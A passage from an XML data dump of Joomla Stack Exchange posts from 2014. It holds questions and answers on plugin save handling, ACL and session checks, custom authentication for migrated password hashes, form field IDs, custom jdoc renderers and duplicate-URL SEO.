}&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;What i actually need is someone help me to find out why the jquery script isnt running&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="2225" LastEditDate="2014-12-04T07:17:03.020" LastActivityDate="2014-12-04T07:17:03.020" Title="jQuery inside the backend of a joomla module is not working" Tags="|joomla-2.5|development|php|module|jquery|" AnswerCount="0" CommentCount="6" ClosedDate="2014-12-03T19:26:15.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="5519" PostTypeId="2" ParentId="5506" CreationDate="2014-12-03T14:26:27.613" Score="5" Body="&lt;p&gt;Because of &quot;return false&quot;, you are taken back to the model, so &quot;Save failed with the following error:&quot; message is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to go back to the model, you can redirect user back to your form directly instead of entering the model, then the controller and finally your form view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because you go away from the model and the controller, there are something you need to take care of by yourself, for example saving what user has entered into your form to display it in the form automatically after redirect, this helps user not have to fill the form again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeSave($context=null, $article=null, $isNew=0) {&#xA;    if($myTestFails){&#xA;        $errormsg = 'My error message while saving categories...';&#xA;        $app = JFactory::getApplication();&#xA;        $app-&amp;gt;setUserState(your-form-context-here, your-form-data-here);&#xA;        $app-&amp;gt;enqueueMessage($errormsg);&#xA;        $app-&amp;gt;redirect(JRoute::_(URL-to-your-form, false));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can take a look at the save() functions in libraries/legacy/controller/form.php and libraries/legacy/model/admin.php. There are useful info there.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2014-12-03T14:26:27.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5520" PostTypeId="2" ParentId="5509" CreationDate="2014-12-03T14:51:42.613" Score="1" Body="&lt;p&gt;&lt;strong&gt;Chaining Controls&lt;/strong&gt; in a form is not a core feature. You have to introduce your own Javascript routines to conditionally show controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JEvent&lt;/strong&gt; is oriented to support internal communication between a components and plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn how to develop an extension, you can also check FOF: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Developing a Joomla 3.x Component using RAD/FOF&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.slideshare.net/pe7er/jduk14-developingcomponentfof&quot; rel=&quot;nofollow&quot;&gt;http://www.slideshare.net/pe7er/jduk14-developingcomponentfof&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-03T14:51:42.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5521" PostTypeId="1" CreationDate="2014-12-03T15:26:48.573" Score="-1" ViewCount="55" Body="&lt;p&gt;Want to integrate all desktops on our cafe with username and password such that anyone accessing computer has to login through our website. Is it possible? This will help us having an email list of customers while making them aware of our website.&lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="174" LastEditDate="2014-12-04T12:31:37.817" LastActivityDate="2014-12-04T12:31:37.817" Title="Restricting Web navigation with Joomla! login in a Cybercafe" Tags="|login|" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-05T21:23:52.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="5522" PostTypeId="1" AcceptedAnswerId="5523" CreationDate="2014-12-03T19:29:36.960" Score="5" ViewCount="302" Body="&lt;p&gt;I would like to know what the correct, or recommended, or most common place is to check for expired session, authorization, ACL rights?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: do I check &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!$session-&amp;gt;isActive() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the controller display method  or in view display or should I check in both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what about the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user-&amp;gt;authorise('example.canDo','com_example')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Additional example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I my view.html I include checks like this. (Why? because some examples had them) and I'm starting to get tired of doing this all the time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$user-&amp;gt;authorise('myCom.myAdmin', 'com_myCom') || !$session-&amp;gt;isActive()) {&#xA;  $app-&amp;gt;redirect('/index.php?option=com_users&amp;amp;view=login&amp;amp;return=' .  &#xA;  urlencode(base64_encode($this-&amp;gt;currPageUrl)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1950" LastEditorUserId="1950" LastEditDate="2014-12-03T19:58:17.197" LastActivityDate="2014-12-03T19:58:17.197" Title="Where is the right place to check for ACL / Session expired / permissions?" Tags="|joomla-3.x|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5523" PostTypeId="2" ParentId="5522" CreationDate="2014-12-03T19:43:19.807" Score="3" Body="&lt;p&gt;Session and ACL are two separate concepts, even though they are coupled, so it good to understand the distinction between them. I also assimilate the term &lt;code&gt;permissions&lt;/code&gt; with ACL.&lt;/p&gt;&#xA;&lt;h1&gt;Session&lt;/h1&gt;&#xA;&lt;p&gt;Since you are using Joomla as your backbone, the platform is doing the heavy-lifting when it comes to session handling and authentication. The chances that you will need to interact with the session is rather slim (there are use cases, but not expired session). &lt;strong&gt;So, a simple answer is: Joomla handles the session for you. You don't have to do a thing.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;What happens is that if you require (via ACL) a registered user to perform an action and somehow the session expired, you don't need to to extra checks.&lt;/p&gt;&#xA;&lt;h1&gt;ACL&lt;/h1&gt;&#xA;&lt;p&gt;ACL itself can be used in various ways, so there is no simple answer. Here are some basic ideas though.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want to do a plain check to see if the user is even allowed to access a component, the component main file (for com_example, example.php) would be the place to do it.&lt;/li&gt;&#xA;&lt;li&gt;The more complex are your permissions, you will use them in controllers, views, templates (with a preference to this order, when possible).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-12-03T19:43:19.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5525" PostTypeId="2" ParentId="5216" CreationDate="2014-12-03T20:10:42.297" Score="3" Body="&lt;p&gt;Sorry, but I have no option then to post another answer.&#xA;If I understand you correctly, you do install your own component, and want to add another option to com_content. So can't you just use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;access component=&quot;com_content&quot;&amp;gt;...&amp;lt;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but as I said, New to Joomla/php I should not try to answer anything. &lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2014-12-03T20:10:42.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5526" PostTypeId="2" ParentId="5507" CreationDate="2014-12-03T22:54:34.893" Score="2" Body="&lt;p&gt;The features you are talking about are really beyond the scope of a form component. The sticky requirement moves to the realm of an application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might try using Fabrik to build the form you want, which will give you much more functionality. In any case, you will have to do some level of programming to accomplish what you're looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also try breaking your forms into smaller forms and have them be sequential. That would make users more likely to complete enough of them before leaving. &lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-12-03T22:54:34.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5527" PostTypeId="2" ParentId="5507" CreationDate="2014-12-04T00:27:48.757" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/forms/8001&quot; rel=&quot;nofollow noreferrer&quot;&gt;BreezingForms&lt;/a&gt; has an option to create sticky forms (for registered users). I'm not sure if the free version has this option, but it appears it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a sticky form that keeps the values filled out so far, in the menuitem of the form you have a option called &quot;Submission editable by user&quot; . If activated it should prefill the form with any saved data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for creating Google spreadsheets, I haven't tried myself, but it appears to be possible, check this link: &lt;a href=&quot;http://crosstec.de/en/blog/entry/11-google-drive-spreadsheets-with-joomla-and-breezing-forms.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://crosstec.de/en/blog/entry/11-google-drive-spreadsheets-with-joomla-and-breezing-forms.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/17yj1.jpg&quot; alt=&quot;Google Integration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck, hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-04T00:27:48.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5528" PostTypeId="1" CreationDate="2014-12-04T01:13:16.153" Score="2" ViewCount="67" Body="&lt;p&gt;I created a menu item with alias 'sci-fi-offer' and the full path /fiction/offers/sci-fi-offer. I changed the menu item to an url for the time being and it looked and worked all fine but I got some weird URLs in Webmaster and on further investigation found out that I could still put the url 'site.com/fiction/offers/sci-fi-offer' and instead of showing a 404 as I expected; I get a page with the list of categories as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uncategorised(22) - (Linked to: /fiction/offers/sci-fi-offer/1-uncategorised)&#xA;sci-fi(14) - (Linked to: /fiction/offers/sci-fi-offer/3-sci-fi)&#xA;drama(12) - (Linked to: /fiction/offers/sci-fi-offer/5-darama)&#xA;autobiography(7) - (Linked to: /fiction/offers/sci-fi-offer/7-autobiography)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those are all categories and the number of articles are in the brackets. The categories all have links but none of those links are correct. Could anyone point me what the heck is going on here? &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-12-04T02:09:04.127" Title="Menu Item incorrectly displays category view with list of categories and link to categories" Tags="|menu-item|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5529" PostTypeId="1" AcceptedAnswerId="5530" CreationDate="2014-12-04T01:17:50.647" Score="3" ViewCount="705" Body="&lt;p&gt;Hi I'm doing initial research on changing the way joomla authenticates a user. I want to do this only for the frontend user and not the admin user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WHY I want to do this?&#xA;I'm importing a list of users from a different CMS which uses SHA2SALT and SHA1 hashing technique. I have to rewrite that system so that it uses joomla and the old users can utilize the existing passwords to login. I can make a feature where the have to change their password immediately after the first login on the new system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm exploring my options of getting this done and I want to know the best way to achieve this. viz. whether I need to write code or if there are any 3rd party plugins to achieve this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be the best way to go ? &#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-12-04T06:40:40.997" Title="Is it possible to change the joomla user authentication algorithm" Tags="|joomla-3.x|plugin|joomla-api|authentication|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5530" PostTypeId="2" ParentId="5529" CreationDate="2014-12-04T01:28:51.220" Score="4" Body="&lt;p&gt;Looking in &lt;code&gt;libraries\phpass\PasswordHash.php&lt;/code&gt;, there seem to be all the functions necessary, as well as comments at the top in the case of editing the files.  I can't say that I've ever tried it, nor heard of anyone else trying it, but this appears to be the starting point.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, writing an &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;authentication plugin&lt;/a&gt; using your own algorithm is the way to go, and be sure to check for &lt;code&gt;$app-&amp;gt;isSite()&lt;/code&gt; or &lt;code&gt;$app-&amp;gt;isAdmin&lt;/code&gt; to determine whether or not you want to check it with your algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to order your plugin to execute before the Joomla authentication plugin so that when it is bypassed by yours, it will go on to try Joomlas.  Also, if yours fails for a front-end user, I'm pretty sure it will go on to try Joomla's, so be sure to handle the failed authentication with more than just &lt;code&gt;return false&lt;/code&gt; .- I would guess that you'd want to throw an exception.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-04T01:52:36.437" LastActivityDate="2014-12-04T01:52:36.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5531" PostTypeId="2" ParentId="4772" CreationDate="2014-12-04T02:05:52.077" Score="3" Body="&lt;p&gt;The solution for this question is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One needs to add a new file at the location below, to add a custom jdoc tag..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libraries/joomla/document/html/renderer/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File name should be same as the tag you are adding.. suppose one wants to use scripts as tag then file name should be scripts.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in this file one needs to add a code like below. As tag name is scripts so class name should be   &lt;code&gt;JDocumentRendererScripts&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;class JDocumentRendererScripts extends JDocumentRenderer&#xA;{&#xA;    public function render($scripts, $params = array(), $content = null)&#xA;    {&#xA;        $contents  = &quot;&quot;;&#xA;        //Do your work here&#xA;        return $contents;&#xA;&#xA;    }&#xA;&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now one can use custom jdoc code &lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="126" LastEditDate="2015-12-04T20:04:54.823" LastActivityDate="2015-12-04T20:04:54.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5532" PostTypeId="2" ParentId="5528" CreationDate="2014-12-04T02:09:04.127" Score="2" Body="&lt;p&gt;Have you create a menu item with type List All Categories. Your result will be as above if you have done that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to point to a single article then you need to choose a different menu item type. viz. single article and choose the relevant article. &lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-12-04T02:09:04.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5533" PostTypeId="1" CreationDate="2014-12-04T04:55:18.197" Score="0" ViewCount="207" Body="&lt;p&gt;Is there a plugin or module which shows content depending on the site I am currently on? For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I am on site with alias &lt;code&gt;site-1&lt;/code&gt; I want picture &lt;code&gt;images/pictureXY.jpg&lt;/code&gt; to be shown by the plugin/module.&lt;/li&gt;&#xA;&lt;li&gt;If I am on site with alias &lt;code&gt;site-2&lt;/code&gt; I want text &lt;code&gt;Hello there&lt;/code&gt; to be shown by the plugin/module.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there something similar out there? Or do I have to write one from scratch? It has to be a plugin/module because I am using T3 framework and want to enable/disable it depending on screen size.&lt;/p&gt;&#xA;" OwnerUserId="2313" LastEditorUserId="174" LastEditDate="2014-12-04T12:28:58.250" LastActivityDate="2014-12-04T12:45:42.657" Title="Dynamic content plugin/module, depending on the site name" Tags="|module|content|alias|t3-framework|" AnswerCount="2" CommentCount="2" ClosedDate="2014-12-05T21:11:50.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="5534" PostTypeId="1" AcceptedAnswerId="5538" CreationDate="2014-12-04T06:31:39.573" Score="3" ViewCount="910" Body="&lt;p&gt;in my view/tmpl/default.php, I want to get the Id of the input field report:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('report'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('report'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to use the ID to perform a javascript function. Where can I get the ID?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;report&quot; type=&quot;foreignkey&quot; class=&quot;inputbox&quot;&#xA;        label=&quot;COM_SUBSCRIPTION_FORM_LBL_SUBSCRIPTIONS_REPORT&quot;&#xA;        description=&quot;COM_SUBSCRIPTION_FORM_DESC_SUBSCRIPTIONS_REPORT&quot; input_type=&quot;list&quot; table=&quot;#__users&quot; key_field=&quot;id&quot; value_field=&quot;name&quot;  required=&quot;true&quot;  /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-12-04T08:26:30.483" Title="ID of Form input fields" Tags="|id|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5535" PostTypeId="2" ParentId="5529" CreationDate="2014-12-04T06:40:40.997" Score="-2" Body="&lt;p&gt;There is a password plugin in Joomla which can help you&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/password-management/18544&quot; rel=&quot;nofollow&quot;&gt;Password Control&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1727" LastActivityDate="2014-12-04T06:40:40.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5537" PostTypeId="2" ParentId="5534" CreationDate="2014-12-04T08:19:20.143" Score="3" Body="&lt;p&gt;If the input requires an ID you should place it in the .xml also, e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;report&quot; type=&quot;foreignkey&quot; class=&quot;inputbox&quot;&#xA;       id=&quot;subscriptions-report&quot;&#xA;       label=&quot;COM_SUBSCRIPTION_FORM_LBL_SUBSCRIPTIONS_REPORT&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-12-04T08:19:20.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5538" PostTypeId="2" ParentId="5534" CreationDate="2014-12-04T08:19:40.060" Score="6" Body="&lt;p&gt;Joomla uses value of name attribute along with a prefix (prefix_valueOfnameAttribute) to generate Id of the field in case there is not id attribute provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add id attribute in your xml then this provided id is automatically gets added to the form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;prefix mentioned above is the argument which you pass while getting Form instance.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="396" LastEditDate="2014-12-04T08:26:30.483" LastActivityDate="2014-12-04T08:26:30.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5539" PostTypeId="1" CreationDate="2014-12-04T09:07:11.977" Score="2" ViewCount="949" Body="&lt;p&gt;How can I refresh a part of the page when I select from a dropdown list using the onchange in HTML?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Reports dropdown list. Once I select a Report, a list refreshes only displaying those that belong to the report I have selected. From what I am thinking, i need to call javascript function that will call the PHP function that has the query for the list that I will be refreshing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this question seems noobish I am only new with MVC coding.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-12-04T12:14:46.613" Title="Refreshing a part of the page after Dropdown list selection" Tags="|joomla-3.x|php|javascript|mvc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5540" PostTypeId="1" AcceptedAnswerId="5544" CreationDate="2014-12-04T10:17:06.710" Score="4" ViewCount="290" Body="&lt;p&gt;I am working in Akeeba subscription it's based on FoF.I wanted to check some condition before user can delete subscription.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plugin &lt;code&gt;MyPlugin&lt;/code&gt; and class is -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgAkeebasubsMyPlugin extends JPlugin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought that I'll have to add code in function &lt;code&gt;onContentBeforeDelete&lt;/code&gt; inside this plugin but it did not work.I would like to know how can I create plugin to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="1643" LastActivityDate="2014-12-04T12:06:17.963" Title="Trigger plugin event in fof" Tags="|joomla-3.x|plugin|fof|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5541" PostTypeId="2" ParentId="4164" CreationDate="2014-12-04T11:24:48.923" Score="15" Body="&lt;blockquote&gt;&#xA;  &lt;h3&gt;TOC of this answer:&lt;/h3&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Content under same Item Id&lt;/li&gt;&#xA;  &lt;li&gt;How Duplicate content is created / Dynamic Pages / URLs&lt;/li&gt;&#xA;  &lt;li&gt;SEO perspective&lt;/li&gt;&#xA;  &lt;li&gt;Dealing with Duplicate content in Joomla&lt;/li&gt;&#xA;  &lt;li&gt;References and links&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;1. Why the Articles are being displayed under the same itemid&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First of all, this is not the problem why you are getting duplicate urls. The articles are using the home-page's item id, because there is no other item id assigned for them.  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Read more regarding this:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5516/news-module-not-redirecting-to-correct-place/5517#5517&quot;&gt;News Module not redirecting to correct place&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And this one might also be insightful:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/8764/why-does-category-view-use-home-page-itemid-when-displaying-the-articles&quot;&gt;Why does Category View use Home Page Itemid when displaying the articles?&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;2. How &quot;duplicate content&quot; is created / Dynamic pages/ URLs&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is actually a standard behavior for dynamic websites that generate their pages by using &lt;strong&gt;URL parameters&lt;/strong&gt; to construct &lt;strong&gt;Query Strings&lt;/strong&gt; in the form of &lt;strong&gt;Field-Value&lt;/strong&gt; pairs. &#xA;The server/application will receive the query, process it and return the associative content to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand better this, you might want to disable SEF Urls in a Joomla website and study a little the Non-SEF Url of a page:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;catid=9&amp;amp;Itemid=101&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Splitting the above query into fields-value pairs we see:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;option = com_content&lt;/li&gt;&#xA;&lt;li&gt;view = article&lt;/li&gt;&#xA;&lt;li&gt;id = 3&lt;/li&gt;&#xA;&lt;li&gt;catid = 9&lt;/li&gt;&#xA;&lt;li&gt;Itemid = 101&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are fields-values that Joomla understands and will try to return the following content as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will query in the com_content component and use an article view to display the content item (article) with id 3, of the category id 9, using the Menu Item with id 101.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt; &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Many URL variations for 1 page&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;However the same article can be displayed with even more fields-values combination:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some possible combinations could be:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;catid=9  &lt;/li&gt;&#xA;  &lt;li&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;Itemid=101  &lt;/li&gt;&#xA;  &lt;li&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;Itemid=102  &lt;/li&gt;&#xA;  &lt;li&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;Itemid=103  &lt;/li&gt;&#xA;  &lt;li&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3  &lt;/li&gt;&#xA;  &lt;li&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;lang=en  &lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;catid=9&amp;amp;Itemid=101&amp;amp;lang=en&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;catid=9&amp;amp;Itemid=101&amp;amp;lang=en&amp;amp;print=1&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;catid=9&amp;amp;Itemid=101&amp;amp;lang=en&amp;amp;tmpl=component&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see, all the above are requesting the same data from the system, which is the article with id = 3. These leads to the fact that the same content/page can be accessed through various different urls and in some cases can be displayed in different layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;*With &lt;strong&gt;SEF URLs&lt;/strong&gt; enabled in Joomla, the above potentially could translate to more than 1 SEF URL for the same article/content.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;3. The SEO perspective&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Modern &lt;strong&gt;Search Engines&lt;/strong&gt; and &lt;strong&gt;Google&lt;/strong&gt; particularly, are aware of this behavior.&#xA;Usually they will try their best, to index and keep in their search results the most suitable URL for a page. &#xA;In addition, Google has revealed that there is no actual &quot;&lt;strong&gt;penalty&lt;/strong&gt;&quot; for duplicated content due to this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the main issue in the case that the same content/page has been indexed more than once, is that you possibly are loosing &lt;strong&gt;page ranking&lt;/strong&gt; and the best possible &lt;strong&gt;SEO performance&lt;/strong&gt;, because page ranking will be split into more than 1 page instead of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this in mind, it is wise to deal with this, instead of letting the Search Engines indexing urls while trying to guess if different urls show the same or different content.&lt;br&gt;&#xA;Moreover, controlling your urls and what SE should index, can help you produce a better user experience as whole, since site users will find the same page under 1 only standard url, and it can produce a more solid structure for a website and its management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;4. How to deal with Duplicate Content&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using Canonical URLs for your pages.&lt;/strong&gt;&lt;br&gt;&#xA;Canonical Urls will instruct the search engine about which is supposed the right url of a page that they should crawl and keep in their index. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using INDEX/NOINDEX, FOLLOW/NOFOLLOW metadata.&lt;/strong&gt;&#xA;Using such metadata in your pages, will instruct search engines if you want them to index or not the content of a page and to follow or not the links found on it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using 301 redirects / 